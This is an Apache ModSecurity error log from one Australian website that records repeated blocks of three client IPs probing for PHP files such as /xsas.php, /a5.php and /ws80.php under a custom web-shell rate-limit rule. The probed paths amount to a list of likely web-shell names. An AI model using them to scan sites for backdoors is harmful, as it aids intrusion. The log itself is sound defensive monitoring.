[Mon Apr 13 17:17:49.666422 2026] [:error] [pid 7228:tid 7249] [client 20.100.201.121:64675] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ady0vQEnn1dQrOSHHNVbSgAAARM"]
[Mon Apr 13 17:17:50.323628 2026] [:error] [pid 63406:tid 63429] [client 20.100.201.121:65152] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xsas.php"] [unique_id "ady0vrHZEIkQ0Zmgp5ogcQAAANI"]
[Mon Apr 13 17:17:50.425520 2026] [:error] [pid 63406:tid 63420] [client 20.100.201.121:63693] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ady0vrHZEIkQ0Zmgp5ogcgAAAMk"]
[Mon Apr 13 17:17:50.634076 2026] [:error] [pid 63406:tid 63424] [client 20.100.201.121:63687] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/torsa1.php"] [unique_id "ady0vrHZEIkQ0Zmgp5ogdgAAAM0"]
[Mon Apr 13 17:17:50.892397 2026] [:error] [pid 63406:tid 63411] [client 20.100.201.121:64628] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xsas.php"] [unique_id "ady0vrHZEIkQ0Zmgp5ogegAAAMA"]
[Mon Apr 13 17:17:51.307324 2026] [:error] [pid 63406:tid 63412] [client 20.100.201.121:64672] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ady0v7HZEIkQ0Zmgp5ogfgAAAME"]
[Mon Apr 13 17:17:52.164438 2026] [:error] [pid 63406:tid 63434] [client 20.100.201.121:64162] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xsas.php"] [unique_id "ady0wLHZEIkQ0Zmgp5oghQAAANc"]
[Mon Apr 13 17:17:52.321400 2026] [:error] [pid 63406:tid 63411] [client 20.100.201.121:63681] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ady0wLHZEIkQ0Zmgp5oghwAAAMA"]
[Mon Apr 13 17:17:52.698514 2026] [:error] [pid 63311:tid 63372] [client 20.100.201.121:64596] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/torsa1.php"] [unique_id "ady0wKHjrGN1MqBCVFnSDAAAAIE"]
[Mon Apr 13 17:17:52.856031 2026] [:error] [pid 57183:tid 57202] [client 20.100.201.121:64612] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ady0wDDO3t8R5NaxzYTUjQAAAVE"]
[Mon Apr 13 17:17:53.091063 2026] [:error] [pid 63311:tid 63395] [client 20.100.201.121:63655] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xsas.php"] [unique_id "ady0waHjrGN1MqBCVFnSDgAAAJg"]
[Mon Apr 13 17:17:53.718182 2026] [:error] [pid 63406:tid 63435] [client 20.100.201.121:65144] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "ady0wbHZEIkQ0Zmgp5ogiwAAANg"]
[Mon Apr 13 17:17:53.761359 2026] [:error] [pid 63406:tid 63433] [client 20.100.201.121:65213] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp/jp.php"] [unique_id "ady0wbHZEIkQ0Zmgp5ogjQAAANY"]
[Mon Apr 13 17:17:53.958015 2026] [:error] [pid 63406:tid 63428] [client 20.100.201.121:65107] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/torsa1.php"] [unique_id "ady0wbHZEIkQ0Zmgp5ogjgAAANE"]
[Mon Apr 13 17:18:38.434420 2026] [:error] [pid 7228:tid 7236] [client 20.240.142.13:61568] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5.php"] [unique_id "ady07gEnn1dQrOSHHNVbggAAAQY"]
[Mon Apr 13 17:18:42.467270 2026] [:error] [pid 63406:tid 63420] [client 20.240.142.13:61619] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5.php"] [unique_id "ady08rHZEIkQ0Zmgp5ohNAAAAMk"]
[Mon Apr 13 17:18:48.644599 2026] [:error] [pid 63406:tid 63414] [client 20.240.142.13:64526] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5.php"] [unique_id "ady0-LHZEIkQ0Zmgp5ohVwAAAMM"]
[Mon Apr 13 17:18:56.046709 2026] [:error] [pid 63406:tid 63433] [client 20.240.142.13:64484] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "ady1ALHZEIkQ0Zmgp5ohZgAAANY"]
[Mon Apr 13 17:18:57.727737 2026] [:error] [pid 63406:tid 63416] [client 20.240.142.13:61570] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "ady1AbHZEIkQ0Zmgp5ohaQAAAMU"]
[Mon Apr 13 17:19:00.625789 2026] [:error] [pid 9314:tid 9332] [client 20.240.142.13:62754] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "ady1BG_r4W8fX2GWyGTMRAAAAZA"]
[Mon Apr 13 17:19:01.055102 2026] [:error] [pid 7228:tid 7233] [client 172.213.213.128:55094] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "ady1BQEnn1dQrOSHHNVblwAAAQM"]
[Mon Apr 13 17:19:03.926275 2026] [:error] [pid 57183:tid 57191] [client 20.240.142.13:64557] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "ady1BzDO3t8R5NaxzYTVjQAAAUY"]
[Mon Apr 13 17:19:04.095848 2026] [:error] [pid 57183:tid 57196] [client 172.213.213.128:59550] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "ady1CDDO3t8R5NaxzYTVkAAAAUs"]
[Mon Apr 13 17:19:05.478181 2026] [:error] [pid 7228:tid 7237] [client 20.240.142.13:64475] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a7.php"] [unique_id "ady1CQEnn1dQrOSHHNVbnAAAAQc"]
[Mon Apr 13 17:19:06.115914 2026] [:error] [pid 57183:tid 57204] [client 172.213.213.128:3262] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "ady1CjDO3t8R5NaxzYTVnAAAAVM"]
[Mon Apr 13 17:19:06.636175 2026] [:error] [pid 57183:tid 57197] [client 20.240.142.13:61573] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a7.php"] [unique_id "ady1CjDO3t8R5NaxzYTVngAAAUw"]
[Mon Apr 13 17:19:07.605062 2026] [:error] [pid 63310:tid 63364] [client 172.213.213.128:3261] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "ady1C3oXpRU5ztmwPjIweQAAAFQ"]
[Mon Apr 13 17:19:09.050504 2026] [:error] [pid 63311:tid 63378] [client 172.213.213.128:59568] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "ady1DaHjrGN1MqBCVFnSaQAAAIc"]
[Mon Apr 13 17:19:10.622725 2026] [:error] [pid 7228:tid 7244] [client 172.213.213.128:3641] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "ady1DgEnn1dQrOSHHNVbqwAAAQ4"]
[Mon Apr 13 17:19:10.626812 2026] [:error] [pid 9314:tid 9337] [client 20.240.142.13:59884] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a7.php"] [unique_id "ady1Dm_r4W8fX2GWyGTMUAAAAZU"]
[Mon Apr 13 17:19:12.195676 2026] [:error] [pid 63309:tid 63318] [client 172.213.213.128:56258] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "ady1EEpIKZ10weXpf0UDhAAAAAU"]
[Mon Apr 13 17:19:13.852669 2026] [:error] [pid 7228:tid 7230] [client 20.240.142.13:64470] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a7.php"] [unique_id "ady1EQEnn1dQrOSHHNVbrwAAAQA"]
[Mon Apr 13 17:19:14.259677 2026] [:error] [pid 63406:tid 63419] [client 172.213.213.128:56268] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "ady1ErHZEIkQ0Zmgp5ohggAAAMg"]
[Mon Apr 13 17:19:15.678301 2026] [:error] [pid 63406:tid 63423] [client 172.213.213.128:3606] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "ady1E7HZEIkQ0Zmgp5ohiQAAAMw"]
[Mon Apr 13 17:19:16.161722 2026] [:error] [pid 9314:tid 9336] [client 20.240.142.13:62727] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ady1FG_r4W8fX2GWyGTMVgAAAZQ"]
[Mon Apr 13 17:19:16.651463 2026] [:error] [pid 63309:tid 63319] [client 172.213.213.128:56527] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "ady1FEpIKZ10weXpf0UDkQAAAAY"]
[Mon Apr 13 17:19:17.642506 2026] [:error] [pid 9314:tid 9320] [client 172.213.213.128:3246] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "ady1FW_r4W8fX2GWyGTMWgAAAYQ"]
[Mon Apr 13 17:19:17.942329 2026] [:error] [pid 57183:tid 57192] [client 20.240.142.13:61614] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ady1FTDO3t8R5NaxzYTVrAAAAUc"]
[Mon Apr 13 17:19:18.401551 2026] [:error] [pid 9314:tid 9324] [client 172.213.213.128:56565] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "ady1Fm_r4W8fX2GWyGTMXQAAAYg"]
[Mon Apr 13 17:19:19.587043 2026] [:error] [pid 63310:tid 63350] [client 172.213.213.128:3439] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "ady1F3oXpRU5ztmwPjIwpQAAAEY"]
[Mon Apr 13 17:19:20.404653 2026] [:error] [pid 57183:tid 57190] [client 172.213.213.128:56515] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "ady1GDDO3t8R5NaxzYTVrwAAAUU"]
[Mon Apr 13 17:19:22.163655 2026] [:error] [pid 57183:tid 57204] [client 172.213.213.128:3241] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "ady1GjDO3t8R5NaxzYTVtwAAAVM"]
[Mon Apr 13 17:19:23.132953 2026] [:error] [pid 57183:tid 57193] [client 20.240.142.13:61890] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ady1GzDO3t8R5NaxzYTVvgAAAUg"]
[Mon Apr 13 17:19:24.210439 2026] [:error] [pid 63311:tid 63372] [client 172.213.213.128:56316] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "ady1HKHjrGN1MqBCVFnSdgAAAIE"]
[Mon Apr 13 17:19:26.397477 2026] [:error] [pid 9314:tid 9319] [client 172.213.213.128:3601] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "ady1Hm_r4W8fX2GWyGTMZwAAAYM"]
[Mon Apr 13 17:19:28.481496 2026] [:error] [pid 7228:tid 7239] [client 20.240.142.13:64450] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ady1IAEnn1dQrOSHHNVbwwAAAQk"]
[Mon Apr 13 17:19:29.393251 2026] [:error] [pid 63406:tid 63424] [client 172.213.213.128:55056] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "ady1IbHZEIkQ0Zmgp5ohrAAAAM0"]
[Mon Apr 13 17:19:31.679123 2026] [:error] [pid 63311:tid 63394] [client 172.213.213.128:55045] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "ady1I6HjrGN1MqBCVFnSgQAAAJc"]
[Mon Apr 13 17:19:32.369924 2026] [:error] [pid 9314:tid 9319] [client 20.100.201.121:65198] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "ady1JG_r4W8fX2GWyGTMfAAAAYM"]
[Mon Apr 13 17:19:33.773082 2026] [:error] [pid 9314:tid 9316] [client 20.100.201.121:65153] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "ady1JW_r4W8fX2GWyGTMgAAAAYA"]
[Mon Apr 13 17:19:35.215636 2026] [:error] [pid 63406:tid 63415] [client 20.100.201.121:65146] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "ady1J7HZEIkQ0Zmgp5ohvwAAAMQ"]
[Mon Apr 13 17:19:36.921596 2026] [:error] [pid 9314:tid 9332] [client 20.100.201.121:64673] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "ady1KG_r4W8fX2GWyGTMhAAAAZA"]
[Mon Apr 13 17:19:37.526709 2026] [:error] [pid 9314:tid 9331] [client 20.100.201.121:65122] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ady1KW_r4W8fX2GWyGTMhgAAAY8"]
[Mon Apr 13 17:19:38.628760 2026] [:error] [pid 63311:tid 63375] [client 20.100.201.121:64680] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ady1KqHjrGN1MqBCVFnSiAAAAIQ"]
[Mon Apr 13 17:19:39.276753 2026] [:error] [pid 63311:tid 63386] [client 20.100.201.121:65167] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ady1K6HjrGN1MqBCVFnSigAAAI8"]
